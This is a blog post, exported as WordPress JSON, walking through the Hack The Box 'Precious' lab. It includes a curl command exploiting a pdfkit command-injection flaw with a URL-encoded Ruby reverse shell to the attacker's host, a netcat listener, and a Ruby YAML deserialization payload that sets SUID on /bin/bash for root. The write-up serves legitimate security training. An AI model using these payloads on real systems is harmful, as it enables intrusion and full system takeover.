{"id":348,"date":"2023-05-07T13:38:06","date_gmt":"2023-05-07T18:38:06","guid":{"rendered":"https:\/\/binaryblisters.com\/?p=348"},"modified":"2023-05-07T13:38:06","modified_gmt":"2023-05-07T18:38:06","slug":"htb-precious-walkthrough","status":"publish","type":"post","link":"https:\/\/binaryblisters.com\/?p=348","title":{"rendered":"HTB – Precious Walkthrough"},"content":{"rendered":"
\n
\"\"<\/figure><\/div>\n\n\n

I was hesitant at first to do a write-up on this lab as it kicked my butt. It was a good lab and I enjoyed it but as usual, I overlooked some crucial information that could’ve cut down the time spent on it by a significant amount. <\/p>\n\n\n\n

This lab will cover some interesting topics including Command Injection (which I’m still terrible at) and privilege escalation (which I’m also terrible at). <\/p>\n\n\n\n

As usual, you can read my original notes here<\/a>. They’re a mess but I’d prefer to keep this write-up short to how to complete it instead of how I<\/em> completed it.<\/p>\n\n\n\n

So let’s get started.<\/p>\n\n\n\n

Recon<\/h2>\n\n\n\n

As always, it is good to get a sense of the land and as always, I’ll rely heavily on NMAP to walk me through it.<\/p>\n\n\n\n

I started with a basic NMAP scan to see which ports were open.<\/p>\n\n\n\n

nmap [TARGET IP]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
With two ports open, let’s go ahead and run a more detailed NMAP scan to get a better sense of what we are dealing with.<\/p>\n\n\n\n
nmap -A -p 22,80 [TARGET IP]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Not a whole lot of relevant information here but it has told us the OS is Linux which can be useful information in any pentest.<\/p>\n\n\n\n
Port 22 is a typical service for SSH so I’ll ignore that for now. Generally, I’ve found that HTB machines don’t rely on breaking in through SSH as much and keep the port open for possible persistence if credentials are found.<\/p>\n\n\n\n
In that case, let’s go check out what’s on port 80 with our web browser.<\/p>\n\n\n\n
If you try visiting the IP address directly with http:\/\/[TARGET IP]<\/code>, you’ll get redirected to a URL specified  precious.htb<\/code> and get an error page.<\/p>\n\n\n\n
It’s important to remember to add the IP and redirected URL address to your system’s \/etc\/hosts<\/code> file. You can use the following to do this easily.<\/p>\n\n\n\n
echo \"[TARGET IP] precious.htb\" | sudo tee -a \/etc\/hosts<\/code><\/pre>\n\n\n\n
After doing this, you should now be able to view the webpage from the TARGET IP address.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It appears to be a simple website that does some backend workings to convert a webpage into a PDF file. With that, let’s go ahead and jump over to the next stage of operations.<\/p>\n\n\n\n
Enumeration<\/h2>\n\n\n\n
So what can we do with all of this information?<\/p>\n\n\n\n
Well, if you’re me, you spent way too much time looking over the source page, checking for other directories with GOBUSTER, and attempting to upload different files to the webpage to see what gets sent back. I spent a lot of time on that last part.<\/p>\n\n\n\n
None of this unfortunately got me anywhere so I had to jump over to the forums to see if I could get a hint. I hate getting hints but after a couple of hours, I don’t mind admitting defeat and taking a clue. <\/p>\n\n\n\n
I really kicked myself this time though as the hint should have been obvious. <\/p>\n\n\n\n
“Look harder at the PDF files”<\/em>.<\/p>\n\n\n\n
We’re probably back in the Recon Stage at this point but I’ll try to keep this somewhat organized. After playing around with the webpage for a while, I had a PDF file on hand that it created. I decided to run it through EXIFTOOL<\/a>.<\/p>\n\n\n\n
exiftool [PATH TO PDF FILE]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
The key information in all of this is “Generated by pdfkit v0.8.6<\/code>“.<\/p>\n\n\n\n
Exploitation<\/h2>\n\n\n\n
I now had a piece of information I could run with. I knew the backend web server was running a tool that turned HTML web pages into PDF files. I went to go look and see if there was a possible exploit to this tool and came across a known exploit CVE-2022-25765<\/a>.<\/p>\n\n\n\n
This exploit allows for Command Injection in the URL. This means that it is possible to exploit commands on the server side through the URL itself if they are not being sanitized.<\/p>\n\n\n\n
Based on some experimentation of uploading different file types to the website, I found that it would turn almost anything into a PDF except for PHP and Ruby file extensions. This was a pretty good indication of what language the backend server was running.<\/p>\n\n\n\n
After some more googling, I found a GitHub<\/a> page with a PoC to exploit this vulnerability and gain a reverse shell with a Ruby payload.<\/p>\n\n\n\n
Let’s first start up a NETCAT listener on our host machine.<\/p>\n\n\n\n
nc -lvnp 4444<\/code><\/pre>\n\n\n\n
Next, I grabbed that code snippet from the GitHub link above and modified it to meet my needs.<\/p>\n\n\n\n
curl '[TARGET URL]' -X POST -H 'User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0' -H 'Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,\/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application\/x-www-form-urlencoded' -H 'Origin: [TARGET URL]' -H 'Connection: keep-alive' -H 'Referer: [TARGET URL]' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F[HOST IP]%3A[HOST PORT]%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22[HOST IP]%22%2C[HOST PORT]%29%29%27%60'<\/code><\/pre>\n\n\n\n
Keep in mind that  TARGET URL<\/code> in this instance should be precious.htb<\/code>.<\/p>\n\n\n\n
This is just a simple curl command to the TARGET URL specifying the command injection. This command injection is a data packet with a URL-encoded reverse shell written in Ruby. Once we have plugged that in, we can check back with the NETCAT listener we set up and should now have a reverse connection established with the TARGET MACHINE.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
I next started up a more interactive shell with the machine using Python.<\/p>\n\n\n\n
python3 -c 'import pty;pty.spawn(\"\/bin\/bash\")'\r\nexport TERM=xterm\r\n^Z<\/code><\/pre>\n\n\n\n
The ^Z<\/code> will background the process. We will then reopen a shell that blocks out the echo<\/code> and pulls the process back to the foreground.<\/p>\n\n\n\n
stty raw -echo; fg<\/code><\/pre>\n\n\n
\n
\"\"<\/figure><\/div>\n\n\n
We now have a fully interactive shell with the user ruby<\/code>. Let’s go find the user flag. I always like spending some time exploring the target machine and don’t mind digging around for the flag the hard way but if you want to save some time, you can run the following to locate the file easily. <\/p>\n\n\n\n
find \/ -name user.txt 2>\/dev\/null<\/code><\/pre>\n\n\n\n
Once you find the file, you’ll also find that ruby<\/code> does not have permission to read the file. Therefore, we need to spend some time exploring the system for means to escalate our privileges.<\/p>\n\n\n\n
Privilege Escalation<\/h2>\n\n\n\n
If you spend some time browsing through the accessible files, you’ll come across a file located in the \/home\/ruby\/.bundle\/config<\/code>. I’ll leave it there but you should be able to locate the login credentials for henry<\/code> in there.<\/p>\n\n\n\n
Now that we have another set of credentials, let’s drop this interactive shell and jump over to the SSH service, and log in there.<\/p>\n\n\n\n
ssh henry@[TARGET IP]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now that we have access to henry<\/code>, we can go and grab the user.txt flag we previously found.<\/p>\n\n\n\n
The user henry<\/code> can do a lot but unfortunately, they cannot access the root<\/code> directory which is most likely the location of the root flag.<\/p>\n\n\n\n
So let’s see what we can do. I’ll start with some basic checklist items to see what privileges I do have.<\/p>\n\n\n\n
sudo -l<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It looks like we can run the \/opt\/update_dependencies.rb<\/code> file as sudo. Checking that file out shows that it calls back to a dependencies.yml<\/code> file. If you try running the file as sudo, it will actually error out as it will look in the current directory you are in for the dependencies.yml<\/code> file.<\/p>\n\n\n\n
This will be our way in. We can craft a new dependencies.yml<\/code> file and the \/opt\/update_dependencies.rb<\/code> file will call back to it and execute it as sudo.<\/p>\n\n\n\n
Ruby is not a language I am very familiar with unfortunately and I’m by no means an expert with YAML files either so I had to go out and Google for some help. I found a great article<\/a> that went over this type of vulnerability which is referred to as YAML Deserialization.<\/p>\n\n\n\n
That article gives us a great code snippet that we can plug into our newly created dependencies.yml<\/code> file. <\/p>\n\n\n\n
 ---\r\n - !ruby\/object:Gem::Installer\r\n     i: x\r\n - !ruby\/object:Gem::SpecFetcher\r\n     i: y\r\n - !ruby\/object:Gem::Requirement\r\n   requirements:\r\n     !ruby\/object:Gem::Package::TarReader\r\n     io: &1 !ruby\/object:Net::BufferedIO\r\n       io: &1 !ruby\/object:Gem::Package::TarReader::Entry\r\n          read: 0\r\n          header: \"abc\"\r\n       debug_output: &1 !ruby\/object:Net::WriteAdapter\r\n          socket: &1 !ruby\/object:Gem::RequestSet\r\n              sets: !ruby\/object:Net::WriteAdapter\r\n                  socket: !ruby\/module 'Kernel'\r\n                  method_id: :system\r\n              git_set: sleep 600<\/mark>\r\n          method_id: :resolve <\/code><\/pre>\n\n\n\n
Unfortunately, this alone will not allow us access to the system. If you notice, the git_set<\/code> line of the code is set to put the system to sleep for 600 seconds. <\/p>\n\n\n\n
We will instead modify this command to change file permissions to the \/bin\/bash<\/code> file and allow for SUID privileges. <\/p>\n\n\n\n
---\r\n- !ruby\/object:Gem::Installer\r\n    i: x\r\n- !ruby\/object:Gem::SpecFetcher\r\n    i: y\r\n- !ruby\/object:Gem::Requirement\r\n  requirements:\r\n    !ruby\/object:Gem::Package::TarReader\r\n    io: &1 !ruby\/object:Net::BufferedIO\r\n      io: &1 !ruby\/object:Gem::Package::TarReader::Entry\r\n         read: 0\r\n         header: \"abc\"\r\n      debug_output: &1 !ruby\/object:Net::WriteAdapter\r\n         socket: &1 !ruby\/object:Gem::RequestSet\r\n             sets: !ruby\/object:Net::WriteAdapter\r\n                 socket: !ruby\/module 'Kernel'\r\n                 method_id: :system\r\n             git_set: \"chmod +s \/bin\/bash\"<\/mark>\r\n         method_id: :resolve<\/code><\/pre>\n\n\n\n
With the modified file, we will be able to create a new file called dependencies.yml<\/code> with nano. I would recommend creating this file in the henry<\/code> directory that we have permissions to modify. Now execute the update_dependencies.rb<\/code> file.<\/p>\n\n\n\n
sudo \/usr\/bin\/ruby \/opt\/update_dependencies.rb<\/code><\/pre>\n\n\n\n
Remember to run this command in the directory that you have created the dependencies.yml<\/code> file in or it will not work.<\/p>\n\n\n\n
If you run the sudo -l<\/code> command again, the user henry<\/code> should now have SUID privileges to the \/bin\/bash<\/code> file.<\/p>\n\n\n\n
With this information let’s go check out GTFOBins<\/a> to see if there are any means to privilege escalation.<\/p>\n\n\n\n
\/bin\/bash -p<\/code><\/pre>\n\n\n\n
Now run the whoami<\/code> command and you should be root<\/code>. With this in hand, you should be able to locate the root flag yourself.<\/p>\n\n\n
\n
\"\"<\/figure><\/div>\n\n\n
Conclusion<\/h2>\n\n\n\n
I can tell I am getting better but more often than not, I get slapped down by some of these labs. This is lab #3 in a row that has done this to me. <\/p>\n\n\n\n
I try not to let it hit me too hard as I am learning more and more but it’s hard at times not to get discouraged. I’m taking a break today from labs to do some HTB Academy modules and write this up. I’ll hit the labs again next week and just keep tackling them one by one.<\/p>\n\n\n\n
I hope this write-up has helped you in some way if you are reading it. If you have any questions or concerns please feel free to let me know.<\/p>\n\n\n\n
As always, thanks for reading and catch you all later.<\/p>\n\n\n\n
-sgtdiddlywink<\/p>\n","protected":false},"excerpt":{"rendered":"
I was hesitant at first to do a write-up on this lab as it kicked my butt. It was a good lab and I enjoyed it but as usual, I overlooked some crucial information that could’ve cut down the time spent on it by a significant amount. This lab will cover some interesting topics including […]<\/p>\n","protected":false},"author":1,"featured_media":359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[99,101,82,18,80,100,103,102,28],"class_list":["post-348","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htb","tag-command-injection","tag-exiftool","tag-hack-the-box","tag-hacking","tag-htb","tag-netcat","tag-precious","tag-ruby","tag-studying"],"_links":{"self":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=348"}],"version-history":[{"count":1,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348\/revisions"}],"predecessor-version":[{"id":360,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348\/revisions\/360"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/media\/359"}],"wp:attachment":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}